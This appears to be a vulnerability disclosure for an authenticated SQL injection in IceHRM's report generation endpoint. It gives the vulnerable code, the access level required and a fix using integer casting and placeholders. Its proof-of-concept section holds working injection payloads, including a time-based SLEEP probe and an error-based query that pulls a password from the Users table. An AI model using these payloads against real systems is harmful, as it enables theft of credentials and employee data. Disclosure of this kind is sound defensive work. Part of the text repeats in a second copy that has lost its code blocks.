Summary
IceHRM's report generation module passes JSON-decoded user input directly into SQL IN clauses via implode() without any parameterization or integer validation. Any authenticated user (including the "Employee" role) can exploit this through the UserReport endpoint to exfiltrate database contents.
Affected Components
- Repository: gamonoid/icehrm
- Commit: e75ed7e
- Primary file:
core/src/Reports/User/Reports/EmployeeAttendanceReport.php, line 37
- Also affected (same pattern):
Reports/User/Reports/OvertimeReport.php:21, Reports/Admin/Reports/EmployeeAttendanceReport.php:37, Reports/Admin/Reports/EmployeeLeavesReport.php:56-66, Reports/Admin/Reports/ExpenseReport.php:44, and others
- Entry point:
POST /core/service.php with a=add, t=UserReport
Vulnerability Details
CWE-89: Improper Neutralization of Special Elements used in an SQL Command
Type: Authenticated SQL Injection
CVSS:3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N — 8.8 (High)
Vulnerable Code
core/src/Reports/User/Reports/EmployeeAttendanceReport.php:28-43:
if (!empty($request['employee'])) {
$employeeList = json_decode($request['employee'], true);
}
// ...
if (!empty($employeeList)) {
$query = "where employee in (".implode(",", $employeeList)
.") and in_time >= ? and out_time <= ? order by in_time desc;";
$params = array(
$request['date_start']." 00:00:00",
$request['date_end']." 23:59:59",
);
}
$employeeList values are directly interpolated into the IN clause with no integer casting or validation. The resulting query is executed via ADODB's Execute().
Auth Level Required
service.php:25-33 allows any user whose user_level is in ['Admin','Manager','Employee','Restricted Admin','Restricted Manager','Restricted Employee','Anonymous']. Employee-level access suffices.
The UserReport path (line 29 of ReportHandler.php) uses classes from Reports\User\Reports\ which include EmployeeAttendanceReport.
Proof-of-Concept
Time-based blind SQL injection:
POST /core/service.php
a=add&t=UserReport&id=<valid_user_report_id>&employee=["1 AND SLEEP(5) -- "]&date_start=2024-01-01&date_end=2024-12-31
Resulting SQL:
WHERE employee in (1 AND SLEEP(5) -- ) AND in_time >= ? AND out_time <= ?
Error-based exfiltration (MySQL):
employee=["1 AND extractvalue(1,concat(0x7e,(SELECT password FROM Users LIMIT 1)))-- "]
Impact
- Full read access to all database tables (users, employees, salaries, attendance, documents).
- Write access if the DB user has INSERT/UPDATE privileges.
- Data exfiltration via time-based or error-based blind injection.
Remediation
Cast all items in $employeeList to integers before interpolating:
$safeIds = array_map('intval', $employeeList);
$placeholders = implode(',', array_fill(0, count($safeIds), '?'));
$query = "where employee in ($placeholders) and in_time >= ? and out_time <= ?";
$params = array_merge($safeIds, [$request['date_start']." 00:00:00", $request['date_end']." 23:59:59"]);
Summary
IceHRM's report generation module passes JSON-decoded user input directly into SQL
INclauses viaimplode()without any parameterization or integer validation. Any authenticated user (including the "Employee" role) can exploit this through theUserReportendpoint to exfiltrate database contents.Affected Components
core/src/Reports/User/Reports/EmployeeAttendanceReport.php, line 37Reports/User/Reports/OvertimeReport.php:21,Reports/Admin/Reports/EmployeeAttendanceReport.php:37,Reports/Admin/Reports/EmployeeLeavesReport.php:56-66,Reports/Admin/Reports/ExpenseReport.php:44, and othersPOST /core/service.phpwitha=add,t=UserReportVulnerability Details
CWE-89: Improper Neutralization of Special Elements used in an SQL Command
Type: Authenticated SQL Injection
CVSS:3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N — 8.8 (High)
Vulnerable Code
core/src/Reports/User/Reports/EmployeeAttendanceReport.php:28-43:$employeeListvalues are directly interpolated into theINclause with no integer casting or validation. The resulting query is executed via ADODB'sExecute().Auth Level Required
service.php:25-33allows any user whoseuser_levelis in['Admin','Manager','Employee','Restricted Admin','Restricted Manager','Restricted Employee','Anonymous']. Employee-level access suffices.The
UserReportpath (line 29 ofReportHandler.php) uses classes fromReports\User\Reports\which includeEmployeeAttendanceReport.Proof-of-Concept
Time-based blind SQL injection:
Resulting SQL:
Error-based exfiltration (MySQL):
Impact
Remediation
Cast all items in
$employeeListto integers before interpolating: